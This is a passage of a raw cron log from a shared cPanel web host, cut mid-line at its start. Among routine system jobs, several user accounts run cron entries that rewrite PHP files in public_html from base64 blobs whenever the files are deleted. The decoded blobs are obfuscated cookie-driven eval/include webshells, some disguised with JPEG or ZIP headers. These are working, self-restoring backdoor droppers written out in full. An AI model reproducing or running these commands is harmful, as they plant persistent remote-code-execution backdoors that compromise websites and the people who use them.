mJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:22:01 medusa CROND[5665]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:22:01 medusa CROND[5666]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:22:01 medusa CROND[5667]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:22:01 medusa CROND[5670]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:22:01 medusa CROND[5674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:23:02 medusa CROND[30432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:23:02 medusa CROND[30433]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:23:02 medusa CROND[30436]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:23:02 medusa CROND[30439]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:23:02 medusa CROND[30440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:23:02 medusa CROND[30437]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:23:02 medusa CROND[30435]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:23:02 medusa CROND[30441]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:23:02 medusa CROND[30442]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:23:02 medusa CROND[30474]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:23:02 medusa CROND[30476]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:23:02 medusa CROND[30478]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:24:01 medusa CROND[22585]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:24:01 medusa CROND[22704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:24:01 medusa CROND[22705]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:24:01 medusa CROND[22706]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:24:01 medusa CROND[22707]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:24:01 medusa CROND[22709]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:24:01 medusa CROND[22711]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:24:01 medusa CROND[22712]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:24:01 medusa CROND[22713]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:24:01 medusa CROND[22714]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:24:01 medusa CROND[22715]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:24:01 medusa CROND[22719]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:24:01 medusa CROND[22717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:25:02 medusa CROND[15505]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:25:02 medusa CROND[15661]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:25:02 medusa CROND[15662]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 18:25:02 medusa CROND[15663]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:25:02 medusa CROND[15664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
